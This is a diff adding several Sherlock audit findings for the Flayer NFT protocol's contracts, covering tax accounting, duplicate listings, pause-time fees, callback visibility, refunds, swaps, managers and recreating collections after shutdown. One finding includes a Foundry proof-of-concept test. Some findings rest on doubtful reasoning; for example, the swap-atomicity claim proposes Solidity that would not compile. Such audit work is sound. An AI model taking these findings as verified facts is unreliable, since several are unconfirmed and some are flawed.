+Settings a new tax calculator contract via [Locker::setTaxCalculator()](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Locker.sol#L484) whose `calculateTax()` function is different from the previous one can lead to accounting errors, unwanted reverts and loss of funds.
+
+### Root Cause
+
+When operating on listings (filling, modifying, relisting, etc.) the protocol calculates the amount of taxes **originally** paid for the listing based on the **current value** returned by the current `TaxCalculator` contract, generally via the [Listings::_resolveListingTax()](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Listings.sol#L918) function. The result is then used to infer the amount to refund to the listing owner and the amount that's going to be kept as fees.
+
+The problem with this is that if the `TaxCalculator` contract is changed via [Locker::setTaxCalculator()](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Locker.sol#L484) the protocol might miscalculate the amounts to refund and to keep as fees, as the taxes calculated by the new tax calculator might be different than when the listing was created.
+
+### Internal pre-conditions
+
+_No response_
+
+### External pre-conditions
+
+_No response_
+
+### Attack Path
+
+_No response_
+
+### Impact
+
+This can create inconsistencies such as:
+1. Listing owners receiving less or more refunds than they should. This can also lead to unwanted reverts as the contract might not have enough tokens to cover refunds.
+2. The protocol keeping less or more fees than expected, this can also lead to unwanted reverts as above.
+
+### PoC
+
+_No response_
+
+### Mitigation
+
+When creating a listing cache the amount of taxes paid. When the protocol needs to know the amount of taxes paid query the cache amount instead of the tax calculator.
\ No newline at end of file
diff --git a/052/709.md b/052/709.md
new file mode 100644
index 0000000..9089588
--- /dev/null
+++ b/052/709.md
@@ -0,0 +1,24 @@
+Blunt Daffodil Iguana
+
+Medium
+
+# Potential Duplicate Listing Vulnerability in `createListings` Function
+
+## Summary
+The `_validateCreateListing` function in `createListings` function in the `Listings contract` lacks a check to determine if a listing already exists for a given token ID. This oversight can lead to potential issues, such as duplicate listings, which may result in unintended behavior or exploitation.
+## Vulnerability Detail
+The `createListings` function processes each CreateListing struct without verifying if a listing for the specified token ID already exists in the _listings mapping. This could allow users to create multiple listings for the same token ID, leading to inconsistencies in the contract's state.
+## Impact
+State Inconsistency: Multiple listings for the same token ID can lead to confusion and errors in the contract's logic, affecting the integrity of the listings.
+Potential Exploitation: While direct financial exploitation may not be possible, the existence of duplicate listings could be leveraged in unforeseen ways, potentially impacting the contract's functionality.
+## Code Snippet
+https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Listings.sol#L130C4-L167C1
+
+https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Listings.sol#L262C1-L295C1
+
+## Tool used
+
+Manual Review
+
+## Recommendation
+Implement Existence Check: Before creating a new listing, check if a listing already exists for the given token ID in the _listings mapping. If a listing exists, revert the transaction to prevent duplicates.
\ No newline at end of file
diff --git a/052/720.md b/052/720.md
new file mode 100644
index 0000000..fb5d0fa
--- /dev/null
+++ b/052/720.md
@@ -0,0 +1,27 @@
+Blunt Daffodil Iguana
+
+Medium
+
+# Duplicate Listing Vulnerability Allows Auction Avoidance in `Listing ` contract
+
+## Summary
+The Listings contract lacks a mechanism to check for existing listings when creating new ones. This oversight allows users to overwrite existing listings, resetting critical parameters and circumventing the auction process.
+## Vulnerability Detail
+The ` _validateCreateListing` function in `createListings` function does not verify if a listing already exists for a given token ID. Consequently, in `maplistings` function users can repeatedly overwrite listings, resetting the created timestamp and extending the listing duration without additional pre-payment. This manipulation prevents the automatic transition to a dutch auction when the pre-pay balance expires.
+## Impact
+Auction Avoidance: Users can indefinitely delay the dutch auction process, undermining the contract's pricing mechanisms.
+Market Distortion: By avoiding auctions, users can maintain inflated prices, disrupting market dynamics and fairness.
+Integrity Compromise: The intended "set and forget" model is compromised, as users can manipulate listings to avoid consequences of mispricing.
+## Code Snippet
+https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Listings.sol#L130C4-L167C1
+
+https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Listings.sol#L262C1-L295C1
+
+https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Listings.sol#L242C5-L256C6
+## Tool used
+
+Manual Review
+
+## Recommendation
+Implement Existence Check: Before creating a new listing, verify if a listing already exists for the token ID. If it does, prevent overwriting without cancellation or fulfillment.
+Enforce Pre-Pay Expiry: Ensure that any modification to a listing requires recalculation and adjustment of the pre-pay balance to prevent indefinite extensions without additional payment.
\ No newline at end of file
diff --git a/053/730.md b/053/730.md
new file mode 100644
index 0000000..403a113
--- /dev/null
+++ b/053/730.md
@@ -0,0 +1,79 @@
+Raspy Azure Dragonfly
+
+Medium
+
+# Unfair Fee Accrual Due to Locker Pause in Protected Listing Unlock Process
+
+## Summary
+The ``unlockProtectedListing`` function calculates an unlock fee based on a compounded interest formula tied to the ``duration`` of the lock. However, if the locker is paused for an extended period (e.g., 24 hours), users are unfairly charged additional fees for that period, even though they cannot unlock their listings while the locker is paused. This creates a discrepancy, leading to higher fees than expected.
+## Vulnerability Detail
+The unlock fee is calculated using the function ``unlockPrice``, which compounds the interest based on the listing’s ``tokenTaken`` and the time difference between the ``initialCheckpoint`` and ``_currentCheckpoint``. The ``_currentCheckpoint`` is updated based on the time elapsed and the utilization rate of the collection.
+
+However, if the ``locker`` is paused (e.g., for 24 hours), users are unable to unlock their listings during the paused period. Despite this, the compounded interest continues to accrue for the paused period, resulting in higher fees. This unfairly penalizes users who could not interact with the protocol during the pause.
+## Impact
+A user lists an NFT with tokenTaken = 1 ether at a time when the locker is functioning normally.
+
+- Pause Event: The locker is paused for 24 hours due to maintenance or some other reason.
+
+- Fee Calculation Before Pause: Prior to the pause, let’s assume the interest rate is 5% per year (converted to per-second rate) and the user is expected to unlock the listing after 7 days. The fee is calculated based on the compounded interest rate over this 7-day period.
+
+- During the Pause: If the locker is paused for 24 hours during this 7-day period, the user is unable to unlock their listing. However, when the locker is unpaused, the fee is still calculated as if the listing was active during the pause, resulting in additional fees for the 24-hour pause.
+
+- Fee Without Pause: Assume the user would pay a fee of 0.05 ether for a 7-day unlock period.
+- Fee With 24-hour Pause: The user is forced to pay for an extra day (due to the pause), increasing the fee by 1/7th of the original amount. The new fee becomes approximately 0.0571 ether (an additional 0.0071 ether).
+This discrepancy unfairly burdens users with higher fees due to circumstances beyond their control.
+## Code Snippet
+https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/ProtectedListings.sol#L304
+https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/ProtectedListings.sol#L607
+https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/ProtectedListings.sol#L592
+```solidity
+function unlockPrice(
+ address _collection,
+ uint _tokenId
+) public view returns (uint unlockPrice_) {
+ // Get the information relating to the protected listing
+ ProtectedListing memory listing = _protectedListings[_collection][
+ _tokenId
+ ];
+
+ // Calculate the final amount using the compounded factors and principle amount
+ @> unlockPrice_ = locker.taxCalculator().compound({
+ _principle: listing.tokenTaken,
+ @> _initialCheckpoint: collectionCheckpoints[_collection][
+ listing.checkpoint
+ ],
+ @> _currentCheckpoint: _currentCheckpoint(_collection)
+ });
+}
+function _currentCheckpoint(
+ address _collection
+) internal view returns (Checkpoint memory checkpoint_) {
+ (, uint _utilizationRate) = utilizationRate(_collection);
+
+ Checkpoint memory previousCheckpoint = collectionCheckpoints[
+ _collection
+ ][collectionCheckpoints[_collection].length - 1];
+
+ checkpoint_ = Checkpoint({
+ compoundedFactor: locker.taxCalculator().calculateCompoundedFactor({
+ _previousCompoundedFactor: previousCheckpoint.compoundedFactor,
+ _utilizationRate: _utilizationRate,
+//@audit when the locker is paused, there's an increase in this duration
+ @> _timePeriod: block.timestamp - previousCheckpoint.timestamp
+ }),
+ timestamp: block.timestamp
+ });
+}
+
+
+```
+## Tool used
+
+Manual Review
+
+## Recommendation
+To resolve this issue, the protocol should avoid compounding interest or increasing the fee during periods when the locker is paused. This can be achieved by implementing a mechanism that tracks the pause period and excludes it from the fee calculation. For example, the following steps could be taken:
+
+- Track Pause Periods: Introduce a variable to track the last time the locker was paused and the total duration of the pause.
+- Adjust Fee Calculation: When calculating the unlock fee, subtract the total paused duration from the time difference used to calculate compounded interest.
+- Implement a Modifier: Ensure that when the locker is paused, any attempt to calculate the unlock fee does not penalize users for the paused duration.
\ No newline at end of file
diff --git a/053/790.md b/053/790.md
new file mode 100644
index 0000000..b5d1dfd
--- /dev/null
+++ b/053/790.md
@@ -0,0 +1,20 @@
+Round Silver Cuckoo
+
+Medium
+
+# Unlock price is unfairly charged during pause
+
+## Summary
+The unlock price of a protected is listing is time depended and can be affected by pause time
+## Vulnerability Detail
+check summary
+## Impact
+unfair unlock price for users
+## Code Snippet
+https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/ProtectedListings.sol#L287
+## Tool used
+
+Manual Review
+
+## Recommendation
+Take pause time into consideration
\ No newline at end of file
diff --git a/067.md b/067.md
new file mode 100644
index 0000000..7145651
--- /dev/null
+++ b/067.md
@@ -0,0 +1,65 @@
+Shambolic Fuchsia Chicken
+
+Medium
+
+# `UniswapImplementation._unlockCallback()` must be external
+
+## Summary
+Uniswap's PoolManager.unlock() calls back to `_unlockCallback()` so it needs to be external BUT IT IS NOT.
+
+## Vulnerability Detail
+When `UniswapImplementation.initializeCollection()` calls `poolManager.unlock()`
+```solidity
+ function initializeCollection(address _collection, uint _amount0, uint _amount1, uint _amount1Slippage, uint160 _sqrtPriceX96) public override {
+.......................................................................................................................
+ // Obtain the UV4 lock for the pool to pull in liquidity
+ poolManager.unlock(
+ abi.encode(CallbackData({
+ poolKey: poolKey,
+ liquidityDelta: LiquidityAmounts.getLiquidityForAmounts({
+ sqrtPriceX96: _sqrtPriceX96,
+ sqrtPriceAX96: TICK_SQRT_PRICEAX96,
+ sqrtPriceBX96: TICK_SQRT_PRICEBX96,
+ amount0: poolParams.currencyFlipped ? _amount1 : _amount0,
+ amount1: poolParams.currencyFlipped ? _amount0 : _amount1
+ }),
+ liquidityTokens: _amount1,
+ liquidityTokenSlippage: _amount1Slippage
+ })
+ ));
+ }
+
+
+```
+
+ `poolManager.unlock()` is supposed to call back into UniswapImplementation.sol via `_unlockCallback()` to create a liquidity position.
+
+```solidity
+ function unlock(bytes calldata data) external override returns (bytes memory result) {
+ if (Lock.isUnlocked()) AlreadyUnlocked.selector.revertWith();
+
+ Lock.unlock();
+
+ // the caller does everything in this callback, including paying what they owe via calls to settle
+ result = IUnlockCallback(msg.sender).unlockCallback(data);
+
+ if (NonzeroDeltaCount.read() != 0) CurrencyNotSettled.selector.revertWith();
+ Lock.lock();
+ }
+```
+since the unlock callback is named `_unlockCallback()` instead of `unlockCallback()` AND its visibility is internal instead of external, poolManager will be unable to call the function.
+
+## Impact
+`_unlockCallback()` won't be successfully called by the poolManager.sol contract, so the actual logic during `initializeCollection` to create a liquidity position won't be processed.
+
+
+## Code Snippet
+https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/implementation/UniswapImplementation.sol#L376
+## Tool used
+
+Manual Review
+
+## Recommendation
+
+- change the name from `_unlockCallback()` to `unlockCallback()`
+- change the visibility from internal to external
\ No newline at end of file
diff --git a/068.md b/068.md
new file mode 100644
index 0000000..e7c1508
--- /dev/null
+++ b/068.md
@@ -0,0 +1,112 @@
+Lucky Iron Sawfish
+
+Medium
+
+# ````UniswapImplementation._unlockCallback()```` doesn't refund remaining fund
+
+### Summary
+
+````UniswapImplementation._unlockCallback()```` is used to add initial liquidity for the Uniswap ````collectionToken```` pool, the issue is the potential remaining funds are not refunded. These remaining funds should be firstly refunded to the direct caller (````Locker```` contract), and then refunded to users.
+
+### Root Cause
+
+The call-stack for adding initial liquidity for the Uniswap ````collectionToken```` pool is as
+```solidity
+->UniswapImplementation.initializeCollection()
+-->PoolManager.unlock()
+--->UniswapImplementation._unlockCallback()
+---->poolManager.modifyLiquidity()
+```
+The issue is located in ````UniswapImplementation._unlockCallback()````, as shown below, after calling ````poolManager.modifyLiquidity()````([L382-391](https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/implementation/UniswapImplementation.sol#L382~L391)), it sends used tokens to the ````PoolManager````([L393-401](https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/implementation/UniswapImplementation.sol#L393~L401)), but doesn't check and refund remaining fund.
+```solidity
+File: src\contracts\implementation\UniswapImplementation.sol
+376: function _unlockCallback(bytes calldata _data) internal override returns (bytes memory) {
+377: // Unpack our passed data
+378: CallbackData memory params = abi.decode(_data, (CallbackData));
+379:
+380: // As this call should only come in when we are initializing our pool, we
+381: // don't need to worry about `take` calls, but only `settle` calls.
+382: (BalanceDelta delta,) = poolManager.modifyLiquidity({
+383: key: params.poolKey,
+384: params: IPoolManager.ModifyLiquidityParams({
+385: tickLower: MIN_USABLE_TICK,
+386: tickUpper: MAX_USABLE_TICK,
+387: liquidityDelta: int(uint(params.liquidityDelta)),
+388: salt: ''
+389: }),
+390: hookData: ''
+391: });
+392:
+393: // Check the native delta amounts that we need to transfer from the contract
+394: if (delta.amount0() < 0) {
+395: _pushTokens(params.poolKey.currency0, uint128(-delta.amount0()));
+396: }
+397:
+398: // Check our ERC20 donation
+399: if (delta.amount1() < 0) {
+400: _pushTokens(params.poolKey.currency1, uint128(-delta.amount1()));
+401: }
+402:
+...
+419: return abi.encode(delta);
+420: }
+
+```
+
+### Internal pre-conditions
+
+N/A
+
+### External pre-conditions
+N/A
+
+### Attack Path
+
+N/A
+
+### Impact
+
+Users loss remaining fund
+
+### PoC
+
+_No response_
+
+### Mitigation
+```diff
+diff --git a/flayer/src/contracts/implementation/UniswapImplementation.sol b/flayer/src/contracts/implementation/UniswapImplementation.sol
+index c898b32..d008561 100644
+--- a/flayer/src/contracts/implementation/UniswapImplementation.sol
++++ b/flayer/src/contracts/implementation/UniswapImplementation.sol
+@@ -234,8 +234,11 @@ contract UniswapImplementation is BaseImplementation, BaseHook {
+ amount1: poolParams.currencyFlipped ? _amount0 : _amount1
+ }),
+ liquidityTokens: _amount1,
+- liquidityTokenSlippage: _amount1Slippage
++ liquidityTokenSlippage: _amount1Slippage,
++ amount0: poolParams.currencyFlipped ? _amount1 : _amount0,
++ amount1: poolParams.currencyFlipped ? _amount0 : _amount1
+ })
++
+ ));
+ }
+
+@@ -400,6 +403,17 @@ contract UniswapImplementation is BaseImplementation, BaseHook {
+ _pushTokens(params.poolKey.currency1, uint128(-delta.amount1()));
+ }
+
++ // refunding
++ int256 amount0Remaining = int256(params.amount0) + delta.amount0();
++ if (amount0Remaining > 0) {
++ SafeTransferLib.safeTransfer(params.poolKey.currency0, locker, uint(amount0Remaining));
++ }
++
++ int256 amount1Remaining = int256(params.amount1) + delta.amount1();
++ if (amount1Remaining > 0) {
++ SafeTransferLib.safeTransfer(params.poolKey.currency1, locker, uint(amount1Remaining));
++ }
++
+ // If we have an expected amount of tokens being provided as liquidity, then we
+ // need to ensure that this exact amount is sent. There may be some dust that is
+ // lost during rounding and for this reason we need to set a small slippage
+```
\ No newline at end of file
diff --git a/069.md b/069.md
new file mode 100644
index 0000000..7685ffd
--- /dev/null
+++ b/069.md
@@ -0,0 +1,135 @@
+Small Azure Poodle
+
+High
+
+# Non-Atomic Token Swaps Cause Assets to be Lost
+
+## Summary
+The `swap` and `swapBatch` functions perform token transfers without ensuring atomicity. This means that if any part of the token transfer process fails, the entire operation will not roll back, which will result in the user losing the original tokens.
+
+## Vulnerability Detail
+The root of the problem arises from the way the `transferFrom` calls are executed one after the other in the swap function. Here are the details:
+- The function first calls `transferFrom` to move the user's token (`_tokenIdIn`) into the contract. Then, it attempts another `transferFrom` to send the desired token (`_tokenIdOut`) from the contract to the user.
+- These operations are not atomic, meaning they are not executed as a single, indivisible operation. If the first transfer succeeds but the second fails, the user's tokens are transferred to the contract, but they do not receive the desired tokens in return.
+- Since the first transfer is not canceled when the second fails, the user ends up losing their tokens without receiving the intended tokens, resulting in a loss of assets.
+```solidity
+241: function swap(address _collection, uint _tokenIdIn, uint _tokenIdOut) public nonReentrant whenNotPaused collectionExists(_collection) {
+---
+243: if (_tokenIdIn == _tokenIdOut) revert CannotSwapSameToken();
+244:
+---
+246: if (isListing(_collection, _tokenIdOut)) revert TokenIsListing(_tokenIdOut);
+247:
+---
+249:@=> IERC721(_collection).transferFrom(msg.sender, address(this), _tokenIdIn);
+250:
+---
+252:@=> IERC721(_collection).transferFrom(address(this), msg.sender, _tokenIdOut);
+253:
+---
+254: emit TokenSwap(_collection, _tokenIdIn, _tokenIdOut, msg.sender);
+255: }
+---
+256:
+---
+268: function swapBatch(address _collection, uint[] calldata _tokenIdsIn, uint[] calldata _tokenIdsOut) public nonReentrant whenNotPaused collectionExists(_collection) {
+269: uint tokenIdsInLength = _tokenIdsIn.length;
+270: if (tokenIdsInLength != _tokenIdsOut.length) revert TokenIdsLengthMismatch();
+271:
+---
+273: IERC721 collection = IERC721(_collection);
+274:
+---
+275: for (uint i; i < tokenIdsInLength; ++i) {
+---
+277: if (isListing(_collection, _tokenIdsOut[i])) revert TokenIsListing(_tokenIdsOut[i]);
+278:
+---
+280:@=> collection.transferFrom(msg.sender, address(this), _tokenIdsIn[i]);
+281:
+---
+283:@=> collection.transferFrom(address(this), msg.sender, _tokenIdsOut[i]);
+284: }
+285:
+---
+286: emit TokenSwapBatch(_collection, _tokenIdsIn, _tokenIdsOut, msg.sender);
+287: }
+```
+
+## Impact
+Users may lose their tokens permanently.
+
+## Code Snippet
+- https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Locker.sol#L241-L255
+- https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Locker.sol#L268-L287
+
+## Tool used
+
+Manual Review
+
+## Recommendation
+Implement atomicity in the swap operations to ensure that either all transfers succeed or none do. This can be achieved by using `safeTransferFrom` and introducing a rollback mechanism.
+Since there is a lot to modify, here I attach the code that already implements `safeTransferFrom` and introduces the rollback mechanism:
+```diff
+function swap(address _collection, uint _tokenIdIn, uint _tokenIdOut) public nonReentrant whenNotPaused collectionExists(_collection) {
+ require(_tokenIdIn != _tokenIdOut, "Cannot swap the same token");
+ require(!isListing(_collection, _tokenIdOut), "Token is a listing");
+
+ // Use safeTransferFrom to ensure safe execution
+ IERC721(_collection).safeTransferFrom(msg.sender, address(this), _tokenIdIn);
+
+ // Attempt to transfer the token out
+ try IERC721(_collection).safeTransferFrom(address(this), msg.sender, _tokenIdOut) {
+ // Emit event only if both transfers succeed
+ emit TokenSwap(_collection, _tokenIdIn, _tokenIdOut, msg.sender);
+ } catch {
+ // Rollback the first transfer if the second fails
+ IERC721(_collection).safeTransferFrom(address(this), msg.sender, _tokenIdIn);
+ revert("Swap failed, transaction rolled back");
+ }
+}
+
+function swapBatch(
+ address _collection,
+ uint[] calldata _tokenIdsIn,
+ uint[] calldata _tokenIdsOut
+)
+ public
+ nonReentrant
+ whenNotPaused
+ collectionExists(_collection)
+{
+ uint tokenIdsInLength = _tokenIdsIn.length;
+ require(tokenIdsInLength == _tokenIdsOut.length, "Token IDs length mismatch");
+
+ // Cache our collection
+ IERC721 collection = IERC721(_collection);
+
+ // Attempt to perform all swaps
+ try {
+ for (uint i; i < tokenIdsInLength; ++i) {
+ require(_tokenIdsIn[i] != _tokenIdsOut[i], "Cannot swap the same token");
+ require(!isListing(_collection, _tokenIdsOut[i]), "Token is a listing");
+
+ // Use safeTransferFrom to ensure safe execution
+ collection.safeTransferFrom(msg.sender, address(this), _tokenIdsIn[i]);
+ collection.safeTransferFrom(address(this), msg.sender, _tokenIdsOut[i]);
+ }
+ emit TokenSwapBatch(_collection, _tokenIdsIn, _tokenIdsOut, msg.sender);
+ } catch {
+ // Rollback all successful transfers if any swap fails
+ for (uint j; j < tokenIdsInLength; ++j) {
+ // Attempt to return any tokens that were successfully transferred in
+ if (collection.ownerOf(_tokenIdsIn[j]) == address(this)) {
+ collection.safeTransferFrom(address(this), msg.sender, _tokenIdsIn[j]);
+ }
+
+ // Attempt to reclaim any tokens that were successfully transferred out
+ if (collection.ownerOf(_tokenIdsOut[j]) == msg.sender) {
+ collection.safeTransferFrom(msg.sender, address(this), _tokenIdsOut[j]);
+ }
+ }
+ revert("Swap batch failed, transaction rolled back");
+ }
+}
+```
diff --git a/071.md b/071.md
new file mode 100644
index 0000000..5a0d169
--- /dev/null
+++ b/071.md
@@ -0,0 +1,72 @@
+Small Azure Poodle
+
+Medium
+
+# Unrestricted Manager Approval Leading to Potential Protocol Conflicts
+
+## Summary
+The `LockerManager` contract allows the owner to approve multiple managers without any restrictions or checks. This can lead to potential protocol conflicts if multiple managers interact with assets registered on different contracts simultaneously. Additionally, there is no mechanism to revoke access or permissions for managers once they are removed, posing a risk of unauthorized access.
+
+## Vulnerability Detail
+The core issue lies in the `setManager` function, which allows the owner to approve or unapprove managers without any constraints on the number of managers that can be active at the same time.
+```solidity
+41: function setManager(address _manager, bool _approved) public onlyOwner {
+---
+43: if (_manager == address(0)) revert ManagerIsZeroAddress();
+44:
+---
+46: if (_managers[_manager] == _approved) revert StateAlreadySet();
+47:
+---
+49: _managers[_manager] = _approved;
+50: emit ManagerSet(_manager, _approved);
+51: }
+```
+This function does not have any restrictions on the number of managers that can be approved, nor is there any mechanism to revoke access or permissions for managers once they are removed.
+
+## Impact
+- Multiple managers interacting with the same assets can lead to competing conditions, inconsistencies, and other operational conflicts.
+- Removed managers may still have access to assets or permissions, leading to potential unauthorized actions or asset manipulation.
+
+## Code Snippet
+https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/LockerManager.sol#L41-L51
+
+## Tool used
+
+Manual Review
+
+## Recommendation
+- Implement a mechanism to limit the number of managers that can be approved at any given time.
+- Make sure that when a manager is removed, any permissions or access rights they had are revoked.
+```diff
++ uint256 public maxManagers = 3; // Example of limits for active managers
++ uint256 public activeManagers = 0;
+
+function setManager(address _manager, bool _approved) public onlyOwner {
+ // Ensure we don't try to update a zero address
+ if (_manager == address(0)) revert ManagerIsZeroAddress();
+
+ // Ensure we aren't setting to existing value
+ if (_managers[_manager] == _approved) revert StateAlreadySet();
+
++ if (_approved) {
++ require(activeManagers < maxManagers, "Max managers limit reached");
++ activeManagers++;
++ } else {
+ // Logic for revoking permission from a manager
++ revokeManagerPermissions(_manager);
++ activeManagers--;
+ }
+
+ // Set our manager to the new state
+ _managers[_manager] = _approved;
+ emit ManagerSet(_manager, _approved);
+}
+
++ function revokeManagerPermissions(address _manager) internal {
+ // Implement logic to revoke permissions or access rights
+ // related to the manager. This may involve interaction
+ // with another contract or update internal status to ensure
+ // managers no longer have control over the assets.
+}
+```
\ No newline at end of file
diff --git a/072.md b/072.md
new file mode 100644
index 0000000..9debb5b
--- /dev/null
+++ b/072.md
@@ -0,0 +1,137 @@
+Winning Juniper Ram
+
+High
+
+# Two different Uniswap pools for the same collection if the collection was sunset
+
+### Summary
+
+According to the protocol, there may be situations in which a collection may need to be removed from the platform. This is why the `CollectionShutdown` contract exists. As long as the collection has a listing token associated with it, the creation of another Uniswap pool for the same collection with a different token is not possible. This is enforced in the code in the `Locker::createCollection` [function](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Locker.sol#L304).
+
+```solidity
+ function createCollection(...) public whenNotPaused returns (address) {
+//..
+//..
+ // Ensure the collection does not already have a listing token
+ if (address(_collectionToken[_collection]) != address(0)) revert CollectionAlreadyExists();
+//..
+//..
+ }
+```
+Also, the natspec above the `UniswapImplementation::registerCollection` [function](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/implementation/UniswapImplementation.sol#L151) enforces the idea that a collection should not have different tokens and the checks that prevent this from happening must be in the `Locker` contract. Quote "Logic to ensure that the pool does not already exist should be enforced in the preceeding {Locker} function that calls this."
+
+New collections are deployed deterministically, via Solady's `LibClone::cloneDeterministic` passing in the number of collections `Locker::_collectionCount` as the `salt` parameter. The `_collectionCount` is increased after each successfully created collection.
+
+### Root Cause
+
+When sunsetting a collection, the mapping that stores the collection token gets deleted and also the mapping that stores the status of the collection (initialized/ non-initialized) gets deleted. This happens in the `Locker::sunsetCollection` function.
+
+```solidity
+ function sunsetCollection(address _collection) public collectionExists(_collection) {
+//..
+//..
+ // Delete our underlying token, then no deposits or actions can be made
+ delete _collectionToken[_collection];
+
+ // Remove our `collectionInitialized` flag
+ delete collectionInitialized[_collection];
+ }
+```
+
+This is done to prevent users from interacting with a collection that is about to be shut down and to protect them from unintentionally losing funds.
+
+### Internal pre-conditions
+
+For some reason a collection needs to be shut down, and the voting process is started, the quorum is reached and the `Collectionshutdown::execute` function was called by the owner.
+
+### External pre-conditions
+
+_No response_
+
+### Attack Path
+
+Now that the mappings are deleted, any user can call the `Locker::createColleciton` function, to create a new Uniswap pool for the same collection that was shut down, with a different collectionToken associated with it. This time around, the check `if (address(_collectionToken[_collection]) != address(0)) revert CollectionAlreadyExists();` will not revert because the mappings have been cleared during the `Collectionshutdown::execute` function flow earlier.
+
+Also, since the number of `Locker::_collectionCount` will already be increased at this point, the `salt` parameter sent to Solady's `LibClone::cloneDeterministic` function will be different, and the token that gets created via `create 2` will be different than the initial token, so the function call will not revert, even though the collection argument is the same.
+
+### Impact
+
+I see multiple issues stemming from this:
+- It defeats the purpose of having a feature to shut down a collection if anyone can immediately recreate a pool for the same collection that was just shut down.
+- Two different Uniswap pools are created for the same collection address, with two different `collectionTokens` associated with it. This is an undesirable outcome for the protocol and this is proven by the fact that the `Locker::createCollection` function checks if the collection token already exists. The argument is further enforced by the natspec in the Uniswap implementation contract as mentioned earlier.
+- User's assets will be scattered. During the `CollectionShutdown::execute` function call any NFTs that are held by the `Locker` contract from this collection will be sent to a Sudoswap pool for liquidation. At this point, some users will have their NFTs in the Sudoswap pool waiting to be liquidated, while others will be able to use Flayer protocol's newly created pool to trade these NFTs. Again an undesirable outcome from the protocol's point of view.
+- Having two different Uniswap pools for the same collection with 2 different tokens will fractionalize the liquidity, it is error prone and makes it harder for 3rd party integrations to use these pools.
+- There could be lingering states or events tied to the old pool address even after the new pool is created.
+
+### PoC
+
+Add the following test inside the `CollectionShutdown.t.sol` file.
+During test deployment in this file, a collection is created on line [35](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/test/utils/CollectionShutdown.t.sol#L35) `locker.createCollection(address(erc721b), "Test Collection", "TEST", 0);`
+
+My test proves that after successfully executing a collection shutdown operation for the `erc721b` collection address, I can create a new Uniswap pool for the same `erc721b` collection and initialize it, but this time the {Collection Token} will be different, otherwise the test must revert and it doesn't.
+
+```solidity
+ function test_CreateDuplicatePoolAfterShutdown() public withDistributedCollection {
+ //@audit the initial instance of this collection is deployed inside the `constructor` of the test file on line 35.
+ // locker.createCollection(address(erc721b), 'Test Collection', 'TEST', 0);
+ //check `CollectionShutdown.t.sol::constructor`
+
+ // Make a vote with our test user that holds `1 ether`, which will pass quorum
+ collectionShutdown.vote(address(erc721b));
+
+ // Confirm that we can now execute
+ assertCanExecute(address(erc721b), true);
+
+ // Mint NFTs into our collection {Locker}
+ uint[] memory tokenIds = _mintTokensIntoCollection(erc721b, 3);
+
+ // Process the execution as the owner
+ collectionShutdown.execute(address(erc721b), tokenIds);
+
+ // After we have executed, we should no longer have an execute flag
+ assertCanExecute(address(erc721b), false);
+
+ // Confirm that the {CollectionToken} has been sunset from our {Locker}
+ assertEq(address(locker.collectionToken(address(erc721b))), address(0));
+
+ // Confirm that our sweeper pool has been assigned
+ ICollectionShutdown.CollectionShutdownParams memory shutdownParams = collectionShutdown.collectionParams(
+ address(erc721b)
+ );
+ assertEq(shutdownParams.sweeperPool, SUDOSWAP_POOL);
+
+ // Ensure that `canExecute` has been set to `false`
+ assertCanExecute(address(erc721b), false);
+
+ // Confirm that our tokens are held by the sudoswap pool
+ for (uint i; i < tokenIds.length; ++i) {
+ assertEq(erc721b.ownerOf(tokenIds[i]), SUDOSWAP_POOL);
+ }
+
+ //@audit create & initialize the same collection again
+ //@audit this should fail, but it doesn't, meaning a new Uniswap pool was created for the same collection
+ locker.createCollection(address(erc721b), "Test Collection", "TEST", 0);
+ locker.setInitialized(address(erc721b), true);
+ }
+```
+
+Test output logs
+
+```javascript
+ │ ├─ emit CollectionCreated(_collection: ERC721Mock: [0xa0Cb889707d426A7A386870A03bc70d1b0697598], _collectionToken: 0x4aE874Ff5eD1e33941Fe8dEb1a94Dc5efCe4ac9d, _name: "Test Collection", _symbol: "TEST", _denomination: 0, _creator: CollectionShutdownTest: [0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496])
+ │ └─ ← [Return] 0x4aE874Ff5eD1e33941Fe8dEb1a94Dc5efCe4ac9d
+ ├─ [769] LockerMock::setInitialized(ERC721Mock: [0xa0Cb889707d426A7A386870A03bc70d1b0697598], true)
+ │ └─ ← [Stop]
+ └─ ← [Stop]
+
+Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 2.99s (5.53ms CPU time)
+
+Ran 1 test suite in 3.89s (2.99s CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)
+```
+
+
+### Mitigation
+
+Add a "blacklisting" mechanism in the `Locker` contract that will prevent creating a collection for the same collection address if the collection was shut down. This can be a `mapping(address collection => bool) public wasShutdown`. The `Locker::sunsetCollection` function should update the value of this bool and set it to `true` when the collection is in the process of getting shut down. When a user calls the `Locker::createCollection` function add an extra check for this bool. If the bool returns true, it means that the collection was shutdown and no new pools can be created for it.
+
